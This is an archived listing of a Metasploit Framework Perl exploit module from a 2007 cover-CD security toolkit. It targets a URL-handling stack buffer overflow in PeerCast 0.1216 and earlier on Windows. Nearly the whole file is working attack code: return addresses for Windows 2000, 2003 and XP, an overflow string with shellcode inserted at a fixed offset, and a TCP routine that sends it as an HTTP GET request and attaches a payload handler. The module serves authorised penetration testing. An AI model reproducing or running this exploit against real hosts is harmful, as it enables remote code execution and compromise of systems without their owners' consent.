home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / peercast_url_win32.pm < prev    next >
Text File  |  2006-06-30  |  3KB  |  119 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::peercast_url_win32;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.  
  20.     'Name'  => 'PeerCast <= 0.1216 URL Handling Buffer Overflow(win32)',
  21.     'Version'  => '$Revision: 1.3 $',
  22.     'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
  23.     'Arch'  => [ 'x86' ],
  24.     'OS'    => [ 'win32' ],
  25.     'Priv'  => 0,
  26.     
  27.     'AutoOpts'    => { 'EXITFUNC' => 'process' },
  28.  
  29.     'UserOpts'  =>
  30.       {
  31.         'RHOST' => [1, 'ADDR', 'The target address'],
  32.         'RPORT' => [1, 'PORT', 'The target port', 7144],
  33.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  34.       },
  35.  
  36.     'Payload' =>
  37.       {
  38.         'Space'     => 400,
  39.         'BadChars' => "\x00\x0a\x0d\x20\x0d\x2f\x3d\x3b",
  40.         'Keys'      => ['+ws2ord'],
  41.         'Prepend'   => "\x81\xc4\x54\xf2\xff\xff",  # add esp, -3500
  42.       },
  43.  
  44.     'Description'  => Pex::Text::Freeform(qq{
  45.     This module exploits a stack overflow in PeerCast <= v0.1216. 
  46.     The vulnerability is caused due to a boundary error within the
  47.     handling of URL parameters.
  48. }),
  49.  
  50.     'Refs'  =>
  51.       [
  52.           ['OSVDB', '23777'],
  53.         ['BID', '17040'],
  54.         ['URL', 'http://www.infigo.hr/in_focus/INFIGO-2006-03-01'],
  55.       ],
  56.  
  57.     'Targets' =>
  58.       [
  59.         ['Windows 2000 English SP0-SP4', 0x75023360 ],
  60.         ['Windows 2003 English SP0-SP1', 0x77d099e3 ],
  61.         ['Windows XP English SP0/SP1', 0x77dbfa2c],
  62.         ['Windows XP English SP0/SP2', 0x77dc12b8],
  63.       ],
  64.  
  65.     'Keys' => ['peercast'],
  66.  
  67.     'DisclosureDate' => 'March 8 2006',
  68.   };
  69.  
  70. sub new {
  71.     my $class = shift;
  72.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  73.     return($self);
  74. }
  75.  
  76. sub Exploit
  77. {
  78.     my $self = shift;
  79.     my $target_host = $self->GetVar('RHOST');
  80.     my $target_port = $self->GetVar('RPORT');
  81.     my $target_idx  = $self->GetVar('TARGET');
  82.     my $offset      = $self->GetVar('OFFSET');
  83.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  84.     my $target = $self->Targets->[$target_idx];
  85.  
  86.     my $pattern = Pex::Text::AlphaNumText(1024);
  87.     
  88.     # Return to EDI (offset 812)
  89.     substr($pattern, 768, 4, pack('V', $target->[1]));
  90.     
  91.     # Jump back to the shellcode
  92.     substr($pattern, 812, 5, "\xe9".pack("V", -517));
  93.     
  94.     # Insert he payload at offset 300 to avoid corruption
  95.     substr($pattern, 300, length($shellcode), $shellcode);
  96.     
  97.     my $sploit = "GET /stream/?". $pattern ." HTTP/1.0\r\n\r\n";
  98.     $self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));
  99.  
  100.     my $s = Msf::Socket::Tcp->new
  101.       (
  102.         'PeerAddr'  => $target_host,
  103.         'PeerPort'  => $target_port,
  104.         'LocalPort' => $self->GetVar('CPORT'),
  105.         'SSL'       => $self->GetVar('SSL'),
  106.       );
  107.     if ($s->IsError) {
  108.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  109.         return;
  110.     }
  111.  
  112.     $s->Send($sploit);
  113.     $self->Handler($s);
  114.     $s->Close();
  115.     return;
  116. }
  117.  
  118. 1;
  119.